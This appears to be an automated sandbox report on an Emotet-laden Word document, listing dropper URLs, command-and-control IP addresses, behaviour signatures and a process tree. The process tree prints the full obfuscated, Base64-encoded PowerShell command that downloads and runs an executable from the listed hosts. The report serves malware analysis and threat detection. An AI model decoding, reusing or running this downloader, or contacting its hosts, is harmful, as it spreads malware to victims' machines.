Analysis

  • max time kernel
    136s
  • max time network
    141s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    22/10/2020, 05:54

General

  • Target
    BAL_PO_10222020EX.doc
  • Size 199KB
  • Sample201022-4debtde8ne
  • SHA256 da03a9b55b6989c3afc8a859785e254418322eb601e9fcf2ce58da55d9bc7d0b
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://murari.es/wp-content/h/

  • exe.dropper

    https://hrinternationalbd.com/selectar/h/

  • exe.dropper

    http://thestudio-ct.co.uk/events/P3/

  • exe.dropper

    http://kailaasa.ca/wp-admin/zeJssVj/

  • exe.dropper

    https://khudanculongdien.vn/wp-admin/HB/

  • exe.dropper

    http://admvero.com.br/eleicao/EJcX/

  • exe.dropper

    http://coolfit.in/wp-content/ivi/

  • exe.dropper

    http://equipamentosmix.com/10/Bjky/

Extracted

Family
  • emotet

Botnet
  • Epoch2

C2
  • 24.178.90.49:80

  • 96.126.101.6:8080

  • 5.196.108.185:8080

  • 167.114.153.111:8080

  • 188.219.31.12:80

  • 184.180.181.202:80

  • 85.105.111.166:80

  • 174.106.122.139:80

  • 137.59.187.107:8080

  • 185.94.252.104:443

  • 142.112.10.95:20

  • 102.182.93.220:80

  • 75.188.96.231:80

  • 93.147.212.206:80

  • 120.150.218.241:443

  • 87.106.139.101:8080

  • 78.188.106.53:443

  • 75.139.38.211:80

  • 46.105.131.79:8080

  • 168.235.67.138:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\BAL_PO_10222020EX.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3060
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD IAAgAFMARQB0AC0AdgBBAHIASQBBAGIATABlACAAKAAiADQAUABHACIAKwAiADMAcgAyACIAKQAgACgAIABbAHQAeQBQAGUAXQAoACIAewA1AH0AewA2AH0AewA0AH0AewAzAH0AewAwAH0AewAyAH0AewAxAH0AIgAtAGYAIAAnAGUAQwB0AE8AJwAsACcAWQAnACwAJwBSACcALAAnAGkAUgAnACwAJwBEACcALAAnAFMAWQBTAFQARQBNAC4AJwAsACcAaQBPAC4AJwApACAAKQAgACAAOwAgAFMAZQB0ACAAIAB6AHcAaQB2ACAAKABbAFQAWQBQAGUAXQAoACIAewA4AH0AewA3AH0AewAxAH0AewAyAH0AewAwAH0AewAzAH0AewA1AH0AewA0AH0AewA2AH0AIgAtAGYAJwBlAFIAVgAnACwAJwAuACcALAAnAG4AZQB0AC4AUwAnACwAJwBJAGMARQBwACcALAAnAE0AJwAsACcAbwBpAE4AdAAnACwAJwBBAE4AYQBHAGUAcgAnACwAJwBZAHMAdABFAG0AJwAsACcAcwAnACkAKQA7ACAAIAAkAEkAeAAzADAAMQBlAGMAPQAoACgAJwBRAGcAdwBtACcAKwAnADQAJwApACsAJwBiAGYAJwApADsAJABFADYAaQBqAGQAeQBoAD0AJABOADMAZQB1AGsAeAB4ACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABJAHoANgBpADEAMQBwADsAJABHAGwAMABxADgAaQA1AD0AKAAoACcAUAB6AGUAZgB3ACcAKwAnADUAJwApACsAJwBkACcAKQA7ACAAIAAoACAAZwBjAGkAIAAoACcAVgBBAFIAaQAnACsAJwBBACcAKwAnAGIAbABFADoANABwAGcAJwArACcAMwBSADIAJwApACkALgB2AGEAbAB1AEUAOgA6ACIAYwBSAGUAQQBgAFQAZQBkAGAASQByAEUAQwBgAFQATwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAEsAJwArACgAJwBqAHgAJwArACcARAB5ADgAMwAnACkAKwAoACcAbAAnACsAJwBpAGYASwBqACcAKQArACgAJwB4AFIAbgA2ACcAKwAnAGkAJwApACsAKAAnAGUAJwArACcAbAB2AEsAagB4ACcAKQApAC4AIgBSAGUAYABwAEwAYABBAGMARQAiACgAKABbAGMASABhAHIAXQA3ADUAKwBbAGMASABhAHIAXQAxADAANgArAFsAYwBIAGEAcgBdADEAMgAwACkALAAnAFwAJwApACkAKQA7ACQARwBvAHoAbgBoAGIAeAA9ACgAKAAnAEEAeAAnACsAJwB4AGIAawAnACkAKwAnADUAJwArACcAdAAnACkAOwAgACAAKAAgAEcASQAgACAAdgBhAFIAaQBBAGIATABlADoAWgB3AEkAdgAgACkALgBWAEEAbABVAGUAOgA6ACIAcwBlAGMAVQBgAFIASQBUAHkAYABQAFIATwBgAFQATwBjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQAVAAyAGMAcgBkAHoAdgA9ACgAKAAnAFkAJwArACcAZAA5ACcAKQArACgAJwB3ACcAKwAnAHQAcgAnACkAKwAnAHQAJwApADsAJABEADIAbABqAGkAaABwACAAPQAgACgAJwBQAGgAJwArACgAJwBhAGwAJwArACcAYgBjACcAKwAnAHkAaAAnACkAKQA7ACQASABxAGoAdgA0ADEANAA9ACgAKAAnAEUAbwA2ACcAKwAnADIAJwApACsAJwB3AHUAJwArACcAdQAnACkAOwAkAEoAcABlAGQAYQBmAHQAPQAoACgAJwBEACcAKwAnAHEAZAA1ACcAKQArACgAJwBoADgAJwArACcAMQAnACkAKQA7ACQAVQB2AHoANQBnAGEAbAA9ACQASABPAE0ARQArACgAKAAoACcAYQA4ACcAKwAnAFYAJwApACsAKAAnAEQAeQAnACsAJwA4ADMAbAAnACkAKwAoACcAaQBmAGEAJwArACcAOAAnACkAKwAoACcAVgAnACsAJwBSAG4AJwApACsAJwA2AGkAJwArACcAZQBsACcAKwAoACcAdgBhACcAKwAnADgAVgAnACkAKQAuACIAcgBgAGUAUABsAGEAQwBFACIAKAAoACcAYQA4ACcAKwAnAFYAJwApACwAWwBzAFQAcgBpAE4AZwBdAFsAYwBIAGEAcgBdADkAMgApACkAKwAkAEQAMgBsAGoAaQBoAHAAKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABXADQANQBqAGwAMQBmAD0AKAAnAEQAcAAnACsAKAAnAG4AZAAnACsAJwB5ACcAKQArACcAMwBfACcAKQA7ACQAVgA0AG0AegBtAGEAYgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAHQALgBXAGUAYgBjAEwAaQBlAG4AVAA7ACQAWABfAHYAXwAwAHEAdgA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACkAKwAoACcAPQBZACcAKwAnADMAbgBrACcAKwAnAE8AcwA9ACcAKQArACcAWQAnACsAJwAzACcAKwAnAG4AJwArACgAJwBrAE8AcwBtACcAKwAnAHUAJwArACcAcgBhAHIAJwArACcAaQAnACkAKwAoACcALgAnACsAJwBlAHMAPQAnACkAKwAoACcAWQAzAG4AJwArACcAawAnACkAKwAnAE8AcwAnACsAKAAnAHcAcAAtAGMAbwBuAHQAZQBuACcAKwAnAHQAPQBZACcAKwAnADMAJwApACsAJwBuAGsAJwArACcATwAnACsAKAAnAHMAJwArACcAaAA9ACcAKQArACgAJwBZADMAJwArACcAbgBrAE8AcwAnACsAJwBAAGgAdAAnACkAKwAnAHQAcAAnACsAJwBzACcAKwAoACcAOgAnACsAJwA9AFkAJwArACcAMwBuAGsAJwApACsAKAAnAE8AcwA9AFkAJwArACcAMwBuAGsATwAnACkAKwAoACcAcwBoACcAKwAnAHIAaQBuACcAKwAnAHQAJwApACsAKAAnAGUAJwArACcAcgBuACcAKQArACcAYQAnACsAKAAnAHQAaQBvACcAKwAnAG4AJwApACsAKAAnAGEAbABiAGQAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0AJwArACcAPQBZACcAKQArACgAJwAzAG4AJwArACcAawBPAHMAJwApACsAJwBzACcAKwAoACcAZQBsAGUAJwArACcAYwB0ACcAKwAnAGEAcgA9ACcAKwAnAFkAMwBuAGsATwAnACsAJwBzAGgAPQBZACcAKQArACgAJwAzAG4AJwArACcAawAnACkAKwAnAE8AJwArACgAJwBzACcAKwAnAEAAaAB0ACcAKQArACgAJwB0AHAAOgA9AFkAMwBuACcAKwAnAGsATwAnACkAKwAoACcAcwAnACsAJwA9AFkAJwApACsAJwAzACcAKwAoACcAbgBrAE8AcwAnACsAJwB0AGgAZQBzAHQAdQBkAGkAJwArACcAbwAtACcAKwAnAGMAdAAuAGMAJwArACcAbwAnACkAKwAnAC4AJwArACgAJwB1AGsAJwArACcAPQAnACkAKwAoACcAWQAzAG4AawAnACsAJwBPACcAKQArACgAJwBzACcAKwAnAGUAdgBlAG4AJwApACsAJwB0ACcAKwAoACcAcwAnACsAJwA9AFkAJwArACcAMwBuAGsATwAnACsAJwBzAFAAMwA9AFkAJwApACsAKAAnADMAbgBrAE8AJwArACcAcwAnACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACsAJwBwADoAJwApACsAJwA9ACcAKwAoACcAWQAnACsAJwAzAG4AJwApACsAJwBrACcAKwAoACcATwBzAD0AJwArACcAWQAnACkAKwAoACcAMwBuAGsAJwArACcATwBzACcAKwAnAGsAYQBpAGwAYQBhAHMAJwApACsAKAAnAGEAJwArACcALgBjAGEAJwArACcAPQBZACcAKQArACcAMwAnACsAJwBuACcAKwAoACcAawAnACsAJwBPAHMAdwBwACcAKwAnAC0AYQBkAG0AaQBuAD0AWQAnACkAKwAnADMAbgAnACsAKAAnAGsATwBzAHoAJwArACcAZQBKACcAKQArACcAcwBzACcAKwAoACcAVgBqACcAKwAnAD0AJwApACsAKAAnAFkAMwBuAGsAJwArACcATwAnACkAKwAnAHMAQAAnACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAnACkAKwAnAD0AJwArACgAJwBZACcAKwAnADMAbgAnACkAKwAnAGsAJwArACcATwBzACcAKwAoACcAPQBZADMAJwArACcAbgBrACcAKQArACcATwAnACsAJwBzAGsAJwArACcAaAAnACsAKAAnAHUAZABhAG4AYwAnACsAJwB1ACcAKwAnAGwAJwApACsAJwBvACcAKwAoACcAbgBnACcAKwAnAGQAJwApACsAKAAnAGkAJwArACcAZQBuACcAKQArACgAJwAuAHYAJwArACcAbgA9ACcAKQArACgAJwBZADMAJwArACcAbgAnACkAKwAnAGsATwAnACsAJwBzACcAKwAnAHcAcAAnACsAKAAnAC0AJwArACcAYQBkACcAKwAnAG0AaQBuAD0AWQAzACcAKQArACcAbgBrACcAKwAnAE8AJwArACgAJwBzAEgAQgA9AFkAMwBuAGsAJwArACcATwAnACsAJwBzACcAKQArACcAQAAnACsAJwBoAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAoACcAPQAnACsAJwBZADMAJwApACsAJwBuACcAKwAoACcAawBPAHMAJwArACcAPQBZADMAJwArACcAbgAnACsAJwBrAE8AcwBhACcAKQArACcAZABtACcAKwAoACcAdgBlAHIAbwAnACsAJwAuAGMAJwArACcAbwBtAC4AJwApACsAKAAnAGIAJwArACcAcgA9ACcAKQArACgAJwBZADMAbgAnACsAJwBrAE8AJwApACsAJwBzACcAKwAnAGUAbAAnACsAJwBlACcAKwAoACcAaQBjAGEAJwArACcAbwAnACkAKwAoACcAPQAnACsAJwBZADMAbgAnACkAKwAnAGsATwAnACsAKAAnAHMARQBKAGMAJwArACcAWAAnACkAKwAoACcAPQBZADMAbgAnACsAJwBrACcAKQArACcATwAnACsAJwBzACcAKwAoACcAQABoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACgAJwA6ACcAKwAnAD0AWQAnACkAKwAoACcAMwBuACcAKwAnAGsATwBzACcAKwAnAD0AJwArACcAWQAzAG4AawAnACkAKwAoACcATwBzAGMAJwArACcAbwAnACkAKwAnAG8AbAAnACsAJwBmACcAKwAoACcAaQAnACsAJwB0AC4AaQBuAD0AWQAzACcAKwAnAG4AJwArACcAawAnACkAKwAoACcATwBzAHcAcAAtAGMAbwAnACsAJwBuAHQAZQAnACsAJwBuACcAKQArACgAJwB0AD0AJwArACcAWQAzAG4AawAnACkAKwAoACcATwBzACcAKwAnAGkAJwApACsAKAAnAHYAJwArACcAaQA9ACcAKQArACgAJwBZADMAJwArACcAbgAnACkAKwAnAGsAJwArACgAJwBPAHMAQABoACcAKwAnAHQAdAAnACkAKwAoACcAcAA6AD0AWQAzAG4AJwArACcAawAnACsAJwBPAHMAJwApACsAKAAnAD0AWQAzAG4AawAnACsAJwBPAHMAJwApACsAKAAnAGUAcQAnACsAJwB1AGkAJwArACcAcAAnACsAJwBhAG0AZQBuAHQAJwApACsAKAAnAG8AcwAnACsAJwBtAGkAeAAuAGMAbwAnACsAJwBtACcAKQArACgAJwA9AFkAJwArACcAMwAnACkAKwAoACcAbgAnACsAJwBrAE8AJwApACsAKAAnAHMAMQAwACcAKwAnAD0AWQAzAG4AawAnACsAJwBPACcAKQArACgAJwBzACcAKwAnAEIAagBrACcAKwAnAHkAPQBZADMAJwArACcAbgBrAE8AcwAnACkAKQAuACIAUgBlAGAAcABMAGAAQQBjAGUAIgAoACgAKAAnAD0AJwArACcAWQAzACcAKQArACcAbgBrACcAKwAnAE8AcwAnACkALAAnAC8AJwApAC4AIgBTAGAAUABMAGkAVAAiACgAJABNAHMAeQB4AHUAZAB5ACAAKwAgACQARQA2AGkAagBkAHkAaAAgACsAIAAkAFgAZgBxAG4AdwBfAF8AKQA7ACQAUgAzADYANAAxAGsAcwA9ACgAKAAnAEgAMQAnACsAJwAwAHYAJwApACsAKAAnADMAJwArACcAcABxACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABEADEAdgBlAHEAawB5ACAAaQBuACAAJABYAF8AdgBfADAAcQB2ACkAewB0AHIAeQB7ACQAVgA0AG0AegBtAGEAYgAuACIARABPAGAAdwBOAEwATwBhAGAARABmAGAAaQBMAGUAIgAoACQARAAxAHYAZQBxAGsAeQAsACAAJABVAHYAegA1AGcAYQBsACkAOwAkAEwAcQBtAHoAagBjAHUAPQAoACgAJwBFAHoAbQBmACcAKwAnAGoAMwAnACkAKwAnADMAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAFUAdgB6ADUAZwBhAGwAKQAuACIAbABFAE4AYABHAGAAVABIACIAIAAtAGcAZQAgADMAMwA1ADUAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwBpAG4AMwAnACsAJwAyAF8AUAAnACsAJwByACcAKQArACcAbwAnACsAKAAnAGMAZQAnACsAJwBzACcAKQArACcAcwAnACkAKQAuACIAYwByAEUAYABBAFQARQAiACgAJABVAHYAegA1AGcAYQBsACkAOwAkAEMAcAA4ADgAaAA4AGcAPQAoACgAJwBaACcAKwAnAG0ANQAnACkAKwAnAGYAYwAnACsAJwBuAHIAJwApADsAYgByAGUAYQBrADsAJABCADgAZwB4AGsAYQB3AD0AKAAoACcAQwB4AGIAMAAnACsAJwBuACcAKQArACcAcABzACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBmAHkAYQB0AHIAaQA9ACgAKAAnAEUAegAnACsAJwBrADEAMgAnACkAKwAnAHcAZAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2576
  • C:\Users\Admin\Dy83lif\Rn6ielv\Phalbcyh.exe
    C:\Users\Admin\Dy83lif\Rn6ielv\Phalbcyh.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3104
    • C:\Windows\SysWOW64\winrsmgr\ncryptsslp.exe
      "C:\Windows\SysWOW64\winrsmgr\ncryptsslp.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:4004

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2576-9-0x00007FFB2EA20000-0x00007FFB2F40C000-memory.dmp

        memory/2576-11-0x000001ACEF440000-0x000001ACEF441000-memory.dmp

        memory/2576-10-0x000001ACEF130000-0x000001ACEF131000-memory.dmp

        memory/3060-5-0x000001F13DF3C000-0x000001F13DF3E000-memory.dmp

        memory/3060-2-0x000001F13DD4C000-0x000001F13DD51000-memory.dmp

        memory/3060-8-0x000001F13DF3A000-0x000001F13DF3B000-memory.dmp

        memory/3060-6-0x000001F13DF3E000-0x000001F13DF40000-memory.dmp

        memory/3060-0-0x00007FFB35DA0000-0x00007FFB36466000-memory.dmp

        memory/3060-4-0x000001F13B87C000-0x000001F13B881000-memory.dmp

        memory/3060-3-0x000001F13DD4B000-0x000001F13DD4C000-memory.dmp

        memory/3060-7-0x000001F13DF3B000-0x000001F13DF3C000-memory.dmp

        memory/3060-1-0x000001F13DD4C000-0x000001F13DD51000-memory.dmp

        memory/3104-15-0x00000000022F0000-0x0000000002321000-memory.dmp

        memory/3104-14-0x0000000002200000-0x0000000002233000-memory.dmp

        memory/4004-18-0x0000000002180000-0x00000000021B3000-memory.dmp

        memory/4004-19-0x00000000021C0000-0x00000000021F1000-memory.dmp